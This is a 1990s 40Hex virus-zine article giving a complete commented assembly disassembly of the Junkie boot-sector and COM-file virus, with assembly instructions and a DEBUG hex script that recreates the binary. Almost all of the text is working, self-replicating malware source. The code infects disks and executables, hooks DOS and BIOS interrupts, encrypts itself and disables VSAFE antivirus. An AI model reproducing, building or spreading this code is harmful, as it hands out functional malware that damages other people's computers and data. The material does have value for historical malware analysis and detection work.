Copy Link
Add to Bookmark
Report
40Hex Issue 14 File 006
40Hex Number 14 Volume 5 Issue 1 File 006
Junkie virus
The Junkie virus is an unremarkable boot sector/COM infector that
has been making the rounds recently. There isn't really that much
to say about it, except that it sports a lot of poor coding that
manages to somehow work despite its shortcomings.
Dark Angel
Phalcon/Skism
---------------------------
.model tiny
.code
.radix 16
org 0
; Junkie virus
; Disassembly by Dark Angel of Phalcon/Skism for 40Hex #14 Vol 5 Iss 1
; Byte for byte match when assembled with TASM 2.5
; To assemble, do the following:
; tasm /m junkie.asm
; tlink junkie.obj
; exe2bin junkie.exe junkie.com
junkie: mov si,1234 ; if loading from the boot
org $ - 2 ; sector, loaded at 0:7E00
decrypt_start dw offset begin_crypt + 100
mov cx,1F4
decrypt_loop: xor word ptr es:[si],1234
org $-2
cryptval dw 0
inc si
inc si
loop decrypt_loop
begin_crypt: mov ax,cs
cmp ax,0
je in_boot
mov di,100
mov word ptr [di],1234 ; restore original first 4
org $ - 2 ; bytes to the COM file
orig4_1 dw 20CDh
mov word ptr [di+2],1234
org $ - 2
orig4_2 dw 0
push cs di ; push cs:100
call delta
delta: pop bx
sub bx,delta - junkie ; sub bx,27
mov cl,4
shr bx,cl
add ax,bx
push ax
mov ax,offset highentry
push ax
retf
in_boot: mov ds,di
pop si
sub word ptr ds:413,3 ; reserve 3K for virus
mov ax,ds:413
mov bx,40 ; convert to K
mul bx
mov es,ax ; virus segment = es
mov cx,200 ; move virus up
cld
rep movsw
cli
mov di,offset old_i13
mov si,13*4
mov ax,offset i13
call swap_int
mov es:check_i21_flag,0
mov di,offset old_i1c
mov si,1c*4
mov ax,offset i1c
call swap_int ; timer ticks
sti
mov di,offset old_i21 ; save original int 21
mov si,21*4 ; handler address
movsw
movsw
pop di ; di = 7C00
push cs di es
mov ax,offset boot_finish
push ax cs
pop es
mov si,7C00 + 200 + BS_first_word - junkie
movsw ; restore first word
db 83,0C7h,5E ; add di,5E ; restore original BS code
call copy_20
retf ; jmp to boot_finish
db 'DrW-3'
i13: cmp ax,0201 ; read?
jnz jmp_i13
db 83,0F9h,1 ; cmp cx,1 ; boot sector?
jnz jmp_i13
db 83,0FAh,0 ; cmp dx,0 ; ditto
jnz jmp_i13
push ax bx cx dx di si ds es ; pusha, in a way
call infect_disk ; if so, infect the disk
pop es ds si di dx cx bx ax ; popa, of sorts
jmp_i13: jmp dword ptr cs:old_i13
old_i13 dw 0, 0
call_i13: pushf
call dword ptr cs:old_i13
retn
highentry: call uninstall_VSAFE
push ds es
xor ax,ax
mov ds,ax
push cs
pop es
mov di,offset old_i13 ; get original int 13
mov si,13*4 ; handler address
cld
movsw
movsw
jmp short COM_finish
nop ; Why does this still happen?
boot_finish: push ds es
COM_finish: mov dl,80 ; infect the hard drive
mov ah,2
call infect_disk
pop es ds
xor ax,ax
xor bx,bx
retf ; return to carrier
infect_disk: push cs
pop ds
push cs
pop es
call disk
jc inf_disk_exit
mov di,offset buffer + 60
cmp word ptr [si],5EEBh ; check if we're already
jne not_in_boot_yet ; in the boot sector
cmp word ptr [di],0FF33 ; xor di,di
je inf_disk_exit
not_in_boot_yet:cmp dl,0 ; first disk drive?
jne hard_disk ; if not, assume hard drive
cmp byte ptr ds:[buffer+15],0F0 ; else check media byte
je little_floppy ; to see if it is a 3.5" drive
cmp byte ptr ds:[buffer+15],0F9h ; 5.25" drive?
jne inf_disk_exit
large_floppy: mov cl,8 ; sector 8
jmp short floppy_disk
nop ; more NOP's for your money
little_floppy: mov ax,40
mov ds,ax
cmp byte ptr ds:90,97 ; check disk 0 status
je large_floppy
mov cl,11 ; write to last sector
floppy_disk: push cs
pop ds
mov ch,4F ; write to last track
jmp short floppy_setup
nop ; blah
hard_disk: mov cx,4 ; write to slack area on hd
jmp short write_to_disk
nop ; #$@*
floppy_setup: mov dh,1 ; head 1
write_to_disk: mov load_cx,cx ; remember where the rest of
mov load_dx,dx ; junkie will be written to
push dx cx si di
mov di,offset BS_first_word ; save old boot sector JMP
movsw ; construct
pop si ; si -> buffer+60
call copy_20 ; save old boot sector code
mov si,di ; si -> JBS_first_word
pop di ; di -> buffer
movsw ; encode our JMP to boot sector
call add_copy_20 ; write our code there
mov ax,301h ; write new BS to the disk
push ax
call disk
pop ax cx dx
mov al,2 ; junkie is two sectors long
mov bx,offset buffer ; write it encrypted to disk
jc inf_disk_exit
mov decrypt_start,7E00 + (begin_crypt - junkie)
call encrypt
call call_i13
inf_disk_exit: retn
disk: mov cx,1
mov dh,0
mov al,1
mov bx,offset buffer ; read/write to/from our buffer
mov si,bx
push dx
call call_i13
pop dx
retn
add_copy_20: db 83,0C7h,5E ; add di,5E ; move from first word to
; our code in boot sector
copy_20: cld
mov cx,10
rep movsw
retn
swap_int: push si
movsw
movsw
pop si
mov [si],ax
mov [si+2],es
retn
encrypt: push es ds ax bx cx dx si di
cld
xor ax,ax ; get timer count
int 1Ah
xor dx,cx ; more time stuff
mov bx,dx
mov ah,2
int 1Ah
mov dl,cl ; to calculate an encryption
xor bx,dx ; value (this is overkill!)
mov cryptval,bx
push cs
pop es
mov si,offset junkie
mov di,offset buffer
mov cx,200
rep movsw ; copy virus to the buffer
mov di,offset buffer ; and encrypt there
add di,begin_crypt - junkie
mov cx,(buffer - junkie) / 2; encrypting too much!
encrypt_loop: xor [di],bx
inc di
inc di
loop encrypt_loop
popa_exit: pop di si dx cx bx ax ds es
retn
uninstall_VSAFE:push es ds ax bx cx dx si di
mov dx,5945 ; uninstall VSAFE/VWATCH
mov ax,0FA01
int 16
jmp short popa_exit
i1c: cmp cs:check_i21_flag,1
je jmp_i1c
push ds es ax si di
mov si,21*4
xor ax,ax
mov ds,ax
mov ax,ds:20*4+2 ; get segment of int 20 handler
cmp ax,800 ; is it too high?
ja i1c_exit
cmp ax,0 ; or not set yet?
je i1c_exit
cmp [si+2],ax ; is segment of int 21 handler
jne i1c_exit ; the same?
cmp ds:27*4+2,ax ; same with int 27 handler
jne i1c_exit ; i.e. make sure it's dos!
cli
mov di,offset old_i21
push cs
pop es
mov ax,offset i21
call swap_int
mov cs:check_i21_flag,1
sti
i1c_exit: pop di si ax es ds
jmp_i1c: jmp dword ptr cs:old_i1c
old_i1c dw 0FF53, 0F000
i21: cmp ax,4B00 ; infect on: execute,
jz infect_file
cmp ah,3Dh ; open,
jz infect_file
cmp ah,6C ; extended open
jz infect_file
jmp_i21: jmp dword ptr cs:old_i21
i24: mov al,3
iret
infect_file: push ax bx cx dx di si ds es
cmp ah,6Ch ; extended open?
jne ptr_is_ds_dx
mov dx,si ; now ds:ds -> filename
ptr_is_ds_dx: call uninstall_VSAFE
mov cx,ax
xor ax,ax
push ds
mov ds,ax
les ax,dword ptr ds:24*4 ; get old crit error handler
mov word ptr ds:24*4,offset i24
mov word ptr ds:24*4+2,cs ; replace with ours
pop ds
push es ax ; save the old one for later
mov ax,3D00 ; open the file read/only
pushf
call dword ptr cs:old_i21
jc infect_file_exit
push cs
pop ds
mov bx,ax
push bx
mov ax,1220
int 2F
mov ax,1216
mov bl,es:[di]
int 2F ; es:di -> sft
pop bx
jc close_exit
cmp word ptr es:[di+28h],'OC'; infect only *.CO?
je infect_COM
jmp short close_exit
nop ; Yuck!
infect_COM: push es di
mov word ptr es:[di+2],2 ; set open mode to read/write
call infect
pop di es
or byte ptr es:[di+6],40 ; preserve file time/date
close_exit: mov ah,3Eh ; close file
int 21
infect_file_exit:
xor si,si
mov ds,si
pop ax
pop es
mov ds:24*4,ax ; restore int 24 handler
mov word ptr ds:24*4+2,es
pop es ds si di dx cx bx ax
jmp jmp_i21
infect: call move_SOF
mov cx,1Dh ; reading in more than we need!
mov ah,3F
mov dx,offset com_header
int 21
jc infect_exit
call go_EOF
mov cx,10
div cx
db 83,0FAh,3 ; cmp dx,3
jz infect_exit
mov cx,[com_header] ; move first four bytes to
mov dx,[com_header+2] ; the patch area
mov orig4_1,cx
mov orig4_2,dx
call go_EOF
cmp ax,1000 ; too small?
jb infect_exit
cmp ax,0EA60 ; too large?
ja infect_exit
call round_paragraph
push ax
add ax,100 + offset begin_crypt - offset junkie
mov decrypt_start,ax
pop ax
mov byte ptr com_header,0E9h
sub ax,3
mov word ptr com_header+1,ax
mov ah,40 ; writing more than we need!
mov cx,end_junkie - junkie
mov dx,offset buffer
call encrypt
int 21
jc infect_exit
mov al,0 ; go to the start of the file
call move_SOF
mov dx,offset com_header ; patch beginning of COM file
mov cx,4
mov ah,40
int 21
infect_exit: retn
round_paragraph:mov ah,al
mov al,10
sub al,ah
and ax,0F
mov dx,ax
mov al,1
jmp short move_fpointer
nop ; MASM NOP!
go_EOF: mov al,2
move_SOF: xor dx,dx
move_fpointer: xor cx,cx
mov ah,42h
int 21
retn
old_i21 dw 0, 0
dw 0 ; unused
check_i21_flag db 1
db 0, 'Dr White - Sweden 1994'
BS_first_word dw 0
old_BS_code db 20 dup (0) ; storage for original boot
; sector code from offset
; 60 to 80
JBS_first_word dw 05EEBh
start_Jboot: xor di,di
mov si,7C00
cli
mov sp,si ; set the stack to 7C00:7C00
mov ss,di
sti
mov es,di ; es = 7C00 (junkie work seg)
mov ax,202h ; read junkie into memory
mov bx,7C00 + 200 ; starting at 0:7E00
mov cx,4
org $ - 2
load_cx dw 4
mov dx,80
org $ - 2
load_dx dw 80
push si bx ; push 0:7C00
int 13
; the next line loads at offset 7C80 - 3
jmp $+3+200-80 ; jmp to 7E00 (decryptor)
end_Jboot: ; ($ - start_Jboot = 20)
db 'Junkie Virus - Written in Malmo...M01D'
dw -1 ; unused
com_header dw 0, 0
buffer: db 1bh dup (0)
end_junkie:
end junkie
---------------------------
N junkie.com
E 0100 BE 0F 01 B9 F4 01 26 81 34 00 00 46 46 E2 F7 8C
E 0110 C8 3D 00 00 74 21 BF 00 01 C7 05 CD 20 C7 45 02
E 0120 00 00 0E 57 E8 00 00 5B 83 EB 27 B1 04 D3 EB 03
E 0130 C3 50 B8 C3 00 50 CB 8E DF 5E 83 2E 13 04 03 A1
E 0140 13 04 BB 40 00 F7 E3 8E C0 B9 00 02 FC F3 A5 FA
E 0150 BF B8 00 BE 4C 00 B8 91 00 E8 30 01 26 C6 06 60
E 0160 03 00 BF 33 02 BE 70 00 B8 EA 01 E8 1E 01 FB BF
E 0170 5A 03 BE 84 00 A5 A5 5F 0E 57 06 B8 DA 00 50 0E
E 0180 07 BE 78 81 A5 83 C7 5E E8 FA 00 CB 44 72 57 2D
E 0190 33 3D 01 02 75 1D 83 F9 01 75 18 83 FA 00 75 13
E 01A0 50 53 51 52 57 56 1E 06 E8 3F 00 07 1F 5E 5F 5A
E 01B0 59 5B 58 2E FF 2E B8 00 00 00 00 00 9C 2E FF 1E
E 01C0 B8 00 C3 E8 12 01 1E 06 33 C0 8E D8 0E 07 BF B8
E 01D0 00 BE 4C 00 FC A5 A5 EB 03 90 1E 06 B2 80 B4 02
E 01E0 E8 07 00 07 1F 33 C0 33 DB CB 0E 1F 0E 07 E8 7F
E 01F0 00 72 7C BF 48 04 81 3C EB 5E 75 06 81 3D 33 FF
E 0200 74 6D 80 FA 00 75 28 80 3E FD 03 F0 74 0C 80 3E
E 0210 FD 03 F9 75 5A B1 08 EB 0F 90 B8 40 00 8E D8 80
E 0220 3E 90 00 97 74 EF B1 11 0E 1F B5 4F EB 07 90 B9
E 0230 04 00 EB 03 90 B6 01 89 0E B0 03 89 16 B3 03 52
E 0240 51 56 57 BF 78 03 A5 5E E8 3A 00 8B F7 5F A5 E8
E 0250 30 00 B8 01 03 50 E8 17 00 58 59 5A B0 02 BB E8
E 0260 03 72 0C C7 06 01 00 0F 7E E8 2A 00 E8 4D FF C3
E 0270 B9 01 00 B6 00 B0 01 BB E8 03 8B F3 52 E8 3C FF
E 0280 5A C3 83 C7 5E FC B9 10 00 F3 A5 C3 56 A5 A5 5E
E 0290 89 04 8C 44 02 C3 06 1E 50 53 51 52 56 57 FC 33
E 02A0 C0 CD 1A 33 D1 8B DA B4 02 CD 1A 8A D1 33 DA 89
E 02B0 1E 09 00 0E 07 BE 00 00 BF E8 03 B9 00 02 F3 A5
E 02C0 BF E8 03 83 C7 0F B9 F4 01 31 1D 47 47 E2 FA 5F
E 02D0 5E 5A 59 5B 58 1F 07 C3 06 1E 50 53 51 52 56 57
E 02E0 BA 45 59 B8 01 FA CD 16 EB E5 2E 80 3E 60 03 01
E 02F0 74 3C 1E 06 50 56 57 BE 84 00 33 C0 8E D8 A1 82
E 0300 00 3D 00 08 77 23 3D 00 00 74 1E 39 44 02 75 19
E 0310 39 06 9E 00 75 13 FA BF 5A 03 0E 07 B8 37 02 E8
E 0320 6A FF 2E C6 06 60 03 01 FB 5F 5E 58 07 1F 2E FF
E 0330 2E 33 02 53 FF 00 F0 3D 00 4B 74 12 80 FC 3D 74
E 0340 0D 80 FC 6C 74 08 2E FF 2E 5A 03 B0 03 CF 50 53
E 0350 51 52 57 56 1E 06 80 FC 6C 75 02 8B D6 E8 78 FF
E 0360 8B C8 33 C0 1E 8E D8 C4 06 90 00 C7 06 90 00 4B
E 0370 02 8C 0E 92 00 1F 06 50 B8 00 3D 9C 2E FF 1E 5A
E 0380 03 72 36 0E 1F 8B D8 53 B8 20 12 CD 2F B8 16 12
E 0390 26 8A 1D CD 2F 5B 72 1D 26 81 7D 28 43 4F 74 03
E 03A0 EB 13 90 06 57 26 C7 45 02 02 00 E8 23 00 5F 07
E 03B0 26 80 4D 06 40 B4 3E CD 21 33 F6 8E DE 58 07 A3
E 03C0 90 00 8C 06 92 00 07 1F 5E 5F 5A 59 5B 58 E9 75
E 03D0 FF E8 7D 00 B9 1D 00 B4 3F BA E4 03 CD 21 72 5E
E 03E0 E8 6C 00 B9 10 00 F7 F1 83 FA 03 74 51 8B 0E E4
E 03F0 03 8B 16 E6 03 89 0E 1B 00 89 16 20 00 E8 4F 00
E 0400 3D 00 10 72 39 3D 60 EA 77 34 E8 32 00 50 05 0F
E 0410 01 A3 01 00 58 C6 06 E4 03 E9 2D 03 00 A3 E5 03
E 0420 B4 40 B9 03 04 BA E8 03 E8 6B FE CD 21 72 0F B0
E 0430 00 E8 1D 00 BA E4 03 B9 04 00 B4 40 CD 21 C3 8A
E 0440 E0 B0 10 2A C4 25 0F 00 8B D0 B0 01 EB 05 90 B0
E 0450 02 33 D2 33 C9 B4 42 CD 21 C3 00 00 00 00 00 00
E 0460 01 00 44 72 20 57 68 69 74 65 20 2D 20 53 77 65
E 0470 64 65 6E 20 31 39 39 34 00 00 00 00 00 00 00 00
E 0480 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0490 00 00 00 00 00 00 00 00 00 00 EB 5E 33 FF BE 00
E 04A0 7C FA 8B E6 8E D7 FB 8E C7 B8 02 02 BB 00 7E B9
E 04B0 04 00 BA 80 00 56 53 CD 13 E9 80 01 4A 75 6E 6B
E 04C0 69 65 20 56 69 72 75 73 20 2D 20 57 72 69 74 74
E 04D0 65 6E 20 69 6E 20 4D 61 6C 6D 6F 2E 2E 2E 4D 30
E 04E0 31 44 FF FF 00 00 00 00 00 00 00 00 00 00 00 00
E 04F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0500 00 00 00
R CX
0403
W
Q
---------------------------